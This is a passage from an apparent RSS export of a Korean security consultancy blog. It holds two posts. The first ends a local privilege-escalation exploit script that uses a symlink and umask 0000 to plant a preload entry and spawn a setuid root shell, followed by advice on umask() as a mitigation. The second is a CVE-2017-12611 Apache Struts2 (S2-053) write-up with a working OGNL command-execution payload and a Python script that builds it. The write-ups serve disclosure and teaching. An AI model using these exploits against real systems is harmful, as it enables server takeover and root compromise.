if [ -f ${EVIL_BIN} ]; then&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;[*] Preparing environment: OK!&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;[!] No such ${EVIL_BIN}&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fi&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;else&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;[!] No such ${ROOTSHELL}&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;fi&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;# Creation a symbolic link&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;rm -rf ${LOGFILE}; ln -sf ${TARGET} ${LOGFILE}&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;rm -rf TeamCRAK; ln -sf ${WORKDIR}/${VICTIM} TeamCRAK&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;# setup umask&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;umask 0000&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;./TeamCRAK 2&amp;gt;/dev/null &amp;amp;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;if [ -f ${TARGET} ]; then&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;${EVIL_BIN}&quot; &amp;gt; ${TARGET} 2&amp;gt;/dev/null&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;fi&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;ping 2&amp;gt;/dev/null 1&amp;gt;/dev/null&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;if [ -u &quot;${ROOTSHELL}&quot; ]; then&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;[*] Exploit Successfully!~&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;[*] Voila~ r00t sh3LL!&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;&quot; &amp;gt; ${TARGET}&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ${ROOTSHELL}&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;else&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;[*] Exploit failed.&quot;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;fi&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;다음은 위 exploit을 통해 실제로 root 권한의 쉘을 획득하는 화면입니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9968323C5A781D1929&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9968323C5A781D1929&quot; width=&quot;675&quot; height=&quot;490&quot; filename=&quot;4.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;[그림 4] 안전하지 않은 파일 생성 취약점을 통한 로컬 권한 상승&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-align: center; color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;위 exploit 구현 중 쉘을 실행하는 ELF 바이너리와 공유 라이브러리는 파일 사이즈를 극도로 최소화 하는 과정을 거쳤는데, 해당 내용은 저희 &lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;TeamCR@K&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;에서 예전에 포스팅 했던 다음 페이지에서 살펴보실 수 있습니다.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-align: center; color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font color=&quot;#2d2c2d&quot; face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;a href=&quot;http://teamcrak.tistory.com/383&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;1. Linux ELF Binary Hack #1 (언어론적 고찰)&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font color=&quot;#2d2c2d&quot; face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;a href=&quot;http://teamcrak.tistory.com/384&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;2. Linux ELF Binary Hack #2 (구조론적 고찰)&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;보신바와&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;같이 프로그램에서 생성되는 파일의 소유 권한이 악용되는 경우 이를&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;어떻게 통제할 수 있을까요?&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;fopen() &lt;/i&gt;과 같이 생성되는 파일의 소유 권한을 정의할 수 없는 경우라면, &lt;i&gt;umask() &lt;/i&gt;함수를 이용해 생성되는 파일의 소유 권한을 초기화 하고 사용 할 수 있을 것 입니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;다음 화면은&lt;i&gt; fopen() &lt;/i&gt;함수 사용 이전, &lt;i&gt;umask() &lt;/i&gt;를 사용해 파일 소유 권한을 초기화 한 후 생성된 파일을 확인하는 화면입니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9933B23C5A782CBF17&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9933B23C5A782CBF17&quot; width=&quot;675&quot; height=&quot;490&quot; filename=&quot;5.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;[그림 5] umask() 함수 사용을&amp;nbsp;통한 파일 생성 시 소유 권한 초기화 결과&lt;/b&gt;&lt;/p&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;setuid bit가 걸린 프로그램은&amp;nbsp;프로세스 실행 도중 권한이 변경되어 작용하므로 생성되는 파일 관리에도 각별한 주의를 필요로 합니다.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;자! 지금까지 저희 &lt;b&gt;&lt;i&gt;TeamCR@K&lt;/i&gt;&lt;/b&gt;이 준비한 &quot;&lt;b&gt;&lt;i&gt;Exploit Writing Technique&lt;/i&gt;&lt;/b&gt;&quot;이 마무리가 되었습니다.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;재미있게 보셨는지 모르겠습니다. :)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;저희 팀은 올해 더 다양한 분야에 대한 연구나 기반기술에 대한 연구를 진행할 예정입니다.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;비록 업무가 바빠 블로그에 많은 신경을 쓰지는 못했지만 올해에는 조금 더 다양한 자료로 자주 찾아뵐 것을 약속드리며,&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;의문사항이나 지적사항은 댓글이나 a3_crak@a3security.com 으로 메일 보내드시면 감사하겠습니다! ;-)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;읽어주셔서 감사합니다!&lt;/font&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>기획 연재</category>
      <category>Constructor</category>
      <category>elf</category>
      <category>exploit</category>
      <category>fopen</category>
      <category>indra</category>
      <category>ld.so.preload</category>
      <category>preload</category>
      <category>redstar linux</category>
      <category>rtld</category>
      <category>umask</category>
      <category>Vulnerability</category>
      <author>알 수 없는 사용자</author>
      <guid isPermaLink="true">https://teamcrak.tistory.com/398</guid>
      <comments>https://teamcrak.tistory.com/398#entry398comment</comments>
      <pubDate>Wed, 24 Jan 2018 20:40:11 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2017-12611 Apache Struts2 Possible Remote Code Execution via Freemarker tags(S2-053)</title>
      <link>https://teamcrak.tistory.com/397</link>
      <description>&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;daesun8292@a3security.com&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;TeamCR@K&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;황대선 선임컨설턴트&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;취약점 번호 : CVE-2017-12611(S2-503)&lt;/p&gt;&lt;p&gt;영향받는 버전 : Struts 2.0.1 - Structs2.3.33 , Struts 2.5 - Struts 2.5.10&lt;/p&gt;&lt;p&gt;영향받지 않는 버전 : Struts 2.5.12, Struts 2.3.32&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;개요&lt;/p&gt;&lt;p&gt;&amp;nbsp;-&amp;nbsp;Apache Struts2 에서 임의 코드 실행이 가능한 취약점이 발견&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;내용&lt;/p&gt;&lt;p&gt;&amp;nbsp;-&amp;nbsp;FreeMakrer 태그의 잘못된 구성으로 사용할 때 요청 값에 원격 코드 실행이 가능한 취약점&lt;/p&gt;&lt;p&gt;&amp;nbsp;-&amp;nbsp;매개 변수에 Rewrite가 되도록 %{} 구문을 사용하여 전송하는 경우에 해당 구문이 실행됨.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Freemarker 란?&lt;/p&gt;&lt;p&gt;&amp;nbsp;- 프리마커는 자바 서블릿을 위한 오픈소스 HTML 템플릿 엔진이다.&lt;/p&gt;&lt;p&gt;&amp;nbsp;- 프리마커에서는 HTML을 템플릿으로 저장하는데 이들은 결국 템플릿객체로 컴파일 된다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;- 프리마커 객체들은 서블릿에서 제공하는 데이터들을 이용하여 HTML을 동적으로 생성한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Freemarker 구조&lt;/p&gt;&lt;p&gt;&amp;nbsp;- FreeMarker는 표현의 결과물을 HTML(템플릿)로 관리하고 여기에 자바 객체를 연결하여 최종적인 결과를 만들어낸다.&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9916373359BB6F3410&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9916373359BB6F3410&quot; width=&quot;720&quot; height=&quot;356&quot; filename=&quot;1.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[그림 1] Freemarker 구조&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Poc&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(217, 229, 255);&quot;&gt;%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream(),&quot;GBK&quot;))}&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;freemarker 취약점이 존재하는 환경 구성을 진행하였습니다.&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99BE9C3359BB6F3425&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99BE9C3359BB6F3425&quot; width=&quot;720&quot; height=&quot;432&quot; filename=&quot;2.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center;&quot;&gt;[그림 2] freemarker 취약점이 존재하는 환경 구성&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;name 파라미터에 입력 후 value 값에 ${}로 출력하는 소스코드를 확인하였습니다.&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998C953359BB6F3532&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998C953359BB6F3532&quot; width=&quot;720&quot; height=&quot;304&quot; filename=&quot;3.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center;&quot;&gt;[그림 3] freemarker취약점이 존재하는 소스코드 확인&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;웹 프록시를 이용하여 GET -&amp;gt; POST로 바꾼 후 name 파라미터 값에 %25{100-3} 삽입 시 결과 값으로 97이 출력되는 것을 확인하였습니다.&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A5973359BB6F351E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A5973359BB6F351E&quot; width=&quot;720&quot; height=&quot;395&quot; filename=&quot;4.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center;&quot;&gt;[그림 4] 취약점 테스트 확인&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;공격구문을 URL 인코딩 후 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A8923359BB6F362A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A8923359BB6F362A&quot; width=&quot;720&quot; height=&quot;400&quot; filename=&quot;5.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center;&quot;&gt;[그림 5] RCE발생 확인&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Python 소스코드&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;# -*- coding:utf-8 -*-&lt;/p&gt;&lt;p&gt;import sys&lt;/p&gt;&lt;p&gt;import requests&lt;/p&gt;&lt;p&gt;from urllib import quote&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;def exploit(url,cmd):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload = &quot;%{&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#_='multipart/form-data').&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#_memberAccess?&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#_memberAccess=#dm):&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;((#container=#context['com.opensymphony.xwork2.ActionContext.container']).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#ognlUtil.getExcludedPackageNames().clear()).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#ognlUtil.getExcludedClasses().clear()).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#context.setMemberAccess(#dm)))).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#cmd='%s').&quot; % cmd&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#p=new java.lang.ProcessBuilder(#cmds)).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#p.redirectErrorStream(true)).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(#process=#p.start()).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}.&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;}&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; data={&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;name&quot; : payload,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; print(data)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;if __name__ == &quot;__main__&quot;:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; if len(sys.argv)!= 3:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;print &quot;Usage S2-053.py &amp;lt;url&amp;gt; &amp;lt;cmd&amp;gt;&quot; %(sys.argv[0])&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;sys.exit(0)&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; print &quot;[*] exploit Apache Struts2 S2-053&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; url = sys.argv[1]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; cmd = sys.argv[2]&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; exploit(url, cmd)&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99DF3D3359BB6F361C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99DF3D3359BB6F361C&quot; width=&quot;720&quot; height=&quot;402&quot; filename=&quot;6.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center;&quot;&gt;[그림 6] 작성한 공격코드 실행&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;프록시를 통해 공격구문을 입력하여 접근 시, strace 를 통해 분석하였습니다. (요청 값 확인)&lt;/p&gt;&lt;p&gt;&lt;span 